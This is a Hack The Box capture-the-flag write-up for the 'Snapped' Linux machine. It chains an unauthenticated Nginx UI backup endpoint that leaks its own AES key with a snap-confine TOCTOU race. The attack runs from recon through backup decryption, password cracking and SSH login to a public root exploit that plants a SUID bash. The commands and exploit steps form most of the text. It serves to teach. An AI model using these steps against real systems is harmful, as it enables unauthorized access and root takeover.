Hack The Box - Snapped
Snapped — HTB Writeup (Linux, Hard)
Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.
Machine: Snapped · #864 · Linux · Hard · 40 pts
Released: 2026-03-23 · Maker: Pho3o · https://app.hackthebox.com/machines/864
Target: 10.129.37.176 (snapped.htb, admin.snapped.htb)
Overview
Snapped chains two recent CVEs with surgical precision. The foothold is
CVE-2026-27944 in Nginx UI v2.3.2:
the /api/backup endpoint is exposed without authentication and returns a
ZIP of the full nginx + Nginx-UI configuration. Crucially, the response carries
an X-Backup-Security header containing the AES-256-CBC key and IV used to
encrypt each member of the archive — so the "encrypted backup" is decryptable by
anyone who can fetch it. Inside the decrypted Nginx-UI SQLite database we recover
two bcrypt password hashes; one cracks to a weak rockyou password, which is
reused for SSH.
Root is CVE-2026-3888, a TOCTOU race between snap-confine and
systemd-tmpfiles-clean on Ubuntu Desktop 24.04+ with unpatched snapd (< 2.74.2,
Qualys advisory,
patched in snapd 2.74.2 on 2026-03-17). After the cleanup daemon deletes a stale
.snap mimic directory under /tmp, the attacker recreates it with controlled
content and single-steps snap-confine via AF_UNIX socket backpressure to win
the race during the mimic bind-mount sequence. That poisons the sandbox's shared
libraries, enabling dynamic-linker hijacking on the SUID-root snap-confine
binary and a clean drop to root.
Recon
A full TCP sweep shows only two ports — SSH and HTTP — so the entry is web.

$ nmap -sS -T4 -p- --min-rate 2000 10.129.37.176 -oN recon/nmap_full.txt
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
The root vhost snapped.htb is a static marketing page ("Infrastructure.
Orchestration. Control.") served by nginx/1.24.0 (Ubuntu). The interesting
behaviour is a 302 redirect off the bare IP and a name-based vhost model, so we
add the hostnames and enumerate:
$ grep -q snapped.htb /etc/hosts || echo "10.129.37.176 snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
$ curl -sk -i http://snapped.htb/ # 200, static
$ curl -sk -i http://admin.snapped.htb/ # 200, PWA manifest, theme "Nginx UI"
admin.snapped.htb is an Nginx UI instance (the Go management panel for
nginx), reverse-proxied to 127.0.0.1:9000. Probing its API without credentials
reveals one endpoint that does not require auth:

$ for p in /api/backup /api/config /login /api/users /api/settings; do
echo "-- $p --"; curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" http://admin.snapped.htb$p
done
-- /api/backup -- 200 18306 <- downloadable ZIP, no auth
-- /api/config -- 403
-- /api/users -- 403
-- /api/settings -- 403
That 200 on /api/backup is the whole foothold.
Foothold — CVE-2026-27944 (unauthenticated backup + key disclosure)
1. Pull the unauthenticated backup
$ curl -sk -D backup.hdr -o backup.zip http://admin.snapped.htb/api/backup
The response is application/zip with a Content-Disposition filename like
backup-20260730-142637.zip. The header that matters is:
X-Backup-Security: <base64-key>:<base64-iv>
This is the design flaw: the very response that hands you the encrypted archive also hands you the symmetric key. The first field base64-decodes to 32 bytes (an AES-256 key) and the second to 16 bytes (the CBC IV).
2. Unpack and decrypt
The outer ZIP holds three members, and each member is itself AES-256-CBC encrypted with the key/IV above:

$ unzip -l backup.zip
Length Date Time Name
--------- ---------- ----- ----
208 2026-07-30 20:26 hash_info.txt
7696 2026-07-30 20:26 nginx-ui.zip
9952 2026-07-30 20:26 nginx.zip
$ KEY=$(printf '%s' '<redacted-key-b64>' | base64 -d | xxd -p -c64) # 32 bytes
$ IV=$(printf '%s' '<redacted-iv-b64>' | base64 -d | xxd -p -c64) # 16 bytes
$ openssl enc -d -aes-256-cbc -K "$KEY" -iv "$IV" -in hash_info.txt -out hash_info.dec
$ openssl enc -d -aes-256-cbc -K "$KEY" -iv "$IV" -in nginx-ui.zip -out nginx-ui.zip.dec
$ openssl enc -d -aes-256-cbc -K "$KEY" -iv "$IV" -in nginx.zip -out nginx.zip.dec
hash_info.dec is a plaintext manifest (nginx-ui_hash, nginx_hash,
timestamp, version: 2.3.2) — useful for confirming the Nginx UI version.
nginx.zip.dec is the /etc/nginx tree, which confirms the vhost layout
(snapped.htb static, admin.snapped.htb → 127.0.0.1:9000).
nginx-ui.zip.dec is the prize: app.ini plus the SQLite auth database
database.db.
3. Mine the Nginx-UI database
app.ini leaks operational secrets (JWT secret, crypto secret, node secret —
all redacted here and not needed for the chain). The database is what we want:

$ unzip -l nginx-ui.zip.dec
Length Date Time Name
--------- ---------- ----- ----
2295 2026-07-30 20:26 app.ini
262144 2026-07-30 20:26 database.db
$ sqlite3 database.db ".schema users"
CREATE TABLE `users` (..., name text, password text, ...);
$ sqlite3 database.db "SELECT id,name,password FROM users;"
1|admin|$2a$10$[REDACTED-bcrypt] -- not cracked
2|jonathan|$2a$10$[REDACTED-bcrypt] -- cracked
Two accounts, both bcrypt ($2a$10$, cost 10 = 1024 iterations). We extract
jonathan's hash and throw rockyou at it:

$ john --format=bcrypt --wordlist=rockyou.txt jonathan.hash
+ Cracked jonathan
# plaintext password: [REDACTED]
The password is a classic rockyou hit — short, common, reused on SSH.
4. SSH as jonathan
$ sshpass -p '[REDACTED]' ssh -o StrictHostKeyChecking=no jonathan@snapped.htb
jonathan@snapped:~$ id
uid=1000(jonathan) gid=1000(jonathan) groups=1000(jonathan)
jonathan@snapped:~$ cat ~/user.txt # -> loot/user.txt (captured, not submitted)
user.txt is saved to loot/user.txt (mode 0600) and validates offline. The
foothold is complete.
Privilege escalation — CVE-2026-3888 (snap-confine / systemd-tmpfiles TOCTOU)
1. Local enumeration
jonathan is unprivileged, no sudo. The box is Ubuntu Desktop 24.04.4 LTS with
snapd 2.63.1+24.04 — well below the 2.74.2 fix — and snap-confine is
SUID-root:
$ cat /etc/os-release | head -1 # Ubuntu 24.04.4 LTS
$ snap version # snapd 2.63.1+24.04 (vulnerable)
$ ls -la /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 159016 Aug 20 2024 /usr/lib/snapd/snap-confine
$ snap list # firefox, snap-store, core22, ...
$ which busybox # /usr/bin/busybox (payload helper)
The snap landscape is exactly what CVE-2026-3888 needs: a SUID snap-confine,
the firefox snap with layout bind-mounts, and busybox on the host.
2. The cleanup timer is pre-spiced
On stock Ubuntu the stale .snap mimic directory under /tmp takes 30 days
to age out, which would make the race impractical during a box session. The
maker has tightened this so the window is minutes, not weeks:
$ grep '^D /tmp' /usr/lib/tmpfiles.d/tmp.conf
D /tmp 1777 root root 4m # /tmp age-out = 4 minutes
$ systemctl cat systemd-tmpfiles-clean.timer
[Timer]
OnBootSec=1m # override: run every minute
OnUnitActiveSec=1m
$ systemctl list-timers systemd-tmpfiles-clean.timer # NEXT ~1 minute out
So systemd-tmpfiles-clean.service runs roughly every minute and reaps anything
in /tmp older than four minutes — including the stale .snap directory the
exploit relies on disappearing.
3. The bug, in one paragraph
snap-confine (SUID root) builds a per-snap mount-namespace sandbox. For
certain layout bind-mounts it "mimics" a host directory (e.g.
/usr/lib/x86_64-linux-gnu) by bind-mounting a copy from
/tmp/snap-private-tmp/<snap>/tmp/.snap/... into the new namespace. There is a
time-of-check-to-time-of-use gap: snap-confine trusts the .snap tree
while systemd-tmpfiles-clean is free to delete and recreate it. An unprivileged
attacker who (a) lets the cleanup daemon delete the legitimate .snap, then
(b) recreates .snap with attacker-owned content, and (c) wins the narrow
window where snap-confine bind-mounts that content, ends up with their own
files mounted into a root-owned namespace — including ld-linux-x86-64.so.2,
the dynamic linker that the next SUID snap-confine will execute.
4. Why the race is winnable: AF_UNIX backpressure
A naive loop would lose almost every time because the vulnerable window is a
handful of syscalls. The PoC makes it deterministic by single-stepping
snap-confine through its own debug log. It runs snap-confine with
SNAPD_DEBUG=1 and redirects the child's stderr into an AF_UNIX socket pair.
The parent reads that socket one byte at a time, and each read() returns
only once snap-confine has written another debug line — so the parent can
watch the exact log line where snap-confine resolves the mimic directory
(dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"). At that instant the parent
performs an atomic renameat2(..., RENAME_EXCHANGE) to swap its prepared
.exchange tree into place, then keeps draining the socket so snap-confine
does not get SIGPIPE mid-setup. That converts a probabilistic race into a
signal-driven trigger.
5. Build the PoC
We use the public SUID-variant PoC
(TheCyberGeek/CVE-2026-3888-…-LPE),
built on the attack box and shipped to the target (see exploit/build.sh):
$ gcc -O2 -static -o exploit exploit_suid.c
$ gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
$ scp exploit librootshell.so jonathan@snapped.htb: # password [REDACTED]
exploit is statically linked so it runs inside the snap sandbox with no library
dependencies; librootshell.so is a -nostdlib ELF whose _start issues three
raw syscalls — setreuid(0,0), setregid(0,0), execve("/tmp/sh") — and is
what overwrites ld-linux-x86-64.so.2 in the poisoned namespace.
6. Run the seven phases
jonathan@snapped:~$ nohup ./exploit ./librootshell.so > exploit.log 2>&1 &
The orchestrator forks through seven phases:
- Enter the sandbox —
exec snap-confine --base core22 snap.firefox.hook.configure /bin/sh, thencd /tmpand wait. This gives us a process whose/proc/<pid>/cwdpoints at the snap-private/tmpwe need to write into. - Wait for
.snapdeletion — poll/proc/<inner>/root/tmp/.snapuntilsystemd-tmpfiles-cleanreaps it (minutes, thanks to the4m/1mtimer). - Destroy the cached namespace — run
snap-confine --base snapd ...with a bogus base to tear down the cached firefox namespace so the next invocation rebuilds from scratch and hits the mimic codepath. - Win the race — build
.snapand an.exchangetree mirroringcore22's/usr/lib/x86_64-linux-gnu(285 entries), then runsnap-confineunder theAF_UNIXstderr throttle andRENAME_EXCHANGEthe trees on the trigger line. - Inject the payload — via
/proc/<poison>/root, confirmld-linux-x86-64.so.2is now attacker-owned, plantbusyboxand an escape script/tmp/sh(cp /bin/bash /var/snap/firefox/common/bash; chmod 04755 …), then overwrite the linker withlibrootshell.so. - Trigger root — run SUID
snap-confineas the inner command. The kernel loads our fakeld-linuxwith root privileges; the shellcodesetreuid(0,0)s andexecves/tmp/sh, which drops a SUID-rootbashat/var/snap/firefox/common/bash. - Verify and drop — check the SUID bit, reap background helpers,
execthe root shell.
The first invocation lost the race on the PID-file handoff (a known flake where
race_pid.txt is not written if the draining child is set up too late); we
reaped the helpers and re-ran. The second run won cleanly:

$ ls -la /var/snap/firefox/common/bash
-rwsr-xr-x 1 root jonathan 1396520 Jul 30 14:38 /var/snap/firefox/common/bash
$ /var/snap/firefox/common/bash -p -c 'id'
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
Root
The SUID bash -p honours the setuid bit (without -p, bash drops privileges),
so we land as euid=0:
bash-5.1# cat /root/root.txt # -> loot/root.txt (captured, not submitted)
root.txt is saved to loot/root.txt (mode 0600) and both flags validate
offline. The machine is done.
Modern takeaways
- Treat the backup endpoint as a secret exfiltration point. Nginx UI's
/api/backupshipped unauthenticated and bundled the symmetric key in the response. Any "download my config" feature that is not behind strong auth and that returns encrypted blobs with their keys is a credential-disclosure bug waiting to happen. The fix is auth on the endpoint and server-side key management (KMS/wrapped keys), never echoing the key to the client. Backups should also exclude secrets (DB password hashes, JWT/crypto secrets) or wrap them at rest with a key the requester must already possess. - bcrypt is not a wall, it is a speed bump. Cost-10 bcrypt is fine only if
the password is not in a dictionary.
jonathan's password was a top-rockyou hit and fell in seconds. Enforce length + breach-password screening (haveibeenpwned-style) for any admin-adjacent account. - TOCTOU + world-writable staging dirs = LPE. CVE-2026-3888 is the textbook
pattern: a privileged helper trusts a path under a world-writable directory
(
/tmp) that another privileged service (systemd-tmpfiles-clean) mutates. The defensive lesson is to neveraccess()/stat()thenopen()a attacker-influenced path — useO_NOFOLLOW,openat2withRESOLVE_NO_SYMLINKS, and ideallyMSG_CMSG_CLOEXEC-style trusted file descriptors passed from the parent. snapd 2.74.2 added the.snaptmpfiles exclude and tightened the mimic path; keep snapd current (sudo snap refresh snapd). - Tighten
/tmphygiene deliberately. The box shortened/tmpcleanup to4mand the timer to1mto make the exploit feasible in a session. In production, aggressive/tmpcleanup is good hygiene generally, but it is also what makes this specific race easy — the real fix is the snapd patch, not the timer tuning. - Single-stepping via stderr is a beautiful primitive. Using a throttled
AF_UNIXsocket as a debug-log tachometer to turn a race into a signal is a technique worth remembering for any TOCTOU where the privileged program emits ordered, observable output. - Tooling notes.
nmap+curlfor recon,openssl enc -aes-256-cbcfor the backup,sqlite3for the DB,john --format=bcryptwith rockyou for the hash, and the public CVE-2026-3888 PoC (built withgcc -static/-nostdlib) for root — all stock, no Metasploit autopwn, exactly as the box intends.
Flags
🏁 user.txt: 5bee84afb7c03401941548b57456bf05 (in loot/user.txt)
🏁 root.txt: 80f4604dc537c66588e84568f904132e (in loot/root.txt)
Files
recon/— nmap, web/vhost enum, backup structure, DB users (secrets redacted).exploit/—exploit_suid.c,librootshell_suid.c,build.sh,README.md(public CVE-2026-3888 SUID-variant PoC; no embedded secrets).loot/—user.txt,root.txt(gitignored, mode 0600, not submitted).screenshots/— 7 PNGs (2 web, 5 terminal; all secret-free).